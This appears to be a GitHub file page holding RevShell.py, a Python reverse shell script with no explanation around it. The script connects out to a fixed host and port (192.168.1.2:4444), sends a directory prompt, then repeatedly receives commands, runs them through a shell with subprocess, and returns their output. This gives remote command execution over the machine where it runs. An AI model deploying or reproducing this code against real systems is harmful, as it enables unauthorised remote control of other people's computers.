-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathRevShell.py
More file actions
68 lines (45 loc) · 1.92 KB
/
RevShell.py
File metadata and controls
68 lines (45 loc) · 1.92 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from socket import *
import subprocess
import sys
import os
target_host = "192.168.1.2"
target_port = 4444
connection = socket(AF_INET,SOCK_STREAM)
connection.connect((target_host,target_port))
commandfolder = os.getcwd()
commandsymbol = " $> "
command_folder_and_symbol = commandfolder + commandsymbol
connection.send(command_folder_and_symbol.encode()),(target_host,target_port)
while True:
command = connection.recv(2048).decode("utf-8")
try:
splited_command = command.split()
if "exit" in command:
connection.close()
break
elif splited_command[0] == "cd":
os.chdir(splited_command[1])
foldernew = os.getcwd()
command_folder_and_symbol = foldernew + commandsymbol
connection.send(command_folder_and_symbol.encode()),(target_host,target_port)
pass
else:
CMD = subprocess.Popen(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
commandvar1 = CMD.stdout.read()
commandvar2 = CMD.stderr.read()
commandvar3 = commandvar1 + commandvar2
connection.send(commandvar3)
folderpath = os.getcwd()
command_folder_and_symbol = folderpath + commandsymbol
connection.send(command_folder_and_symbol.encode()),(target_host,target_port)
except FileNotFoundError as FileError:
connection.send(FileError)
#try:
#
# result = run(command,stdout= PIPE,stderr=PIPE,universal_newlines=True)
# output = result.stdout
# connection.send(output.encode()),(target_host,target_port)
# command = connection.recv(2048).decode()
#except FileNotFoundError:
# errorsession = "File not found,sorry sir."
# connection.send(errorsession.encode()),(target_host,target_port)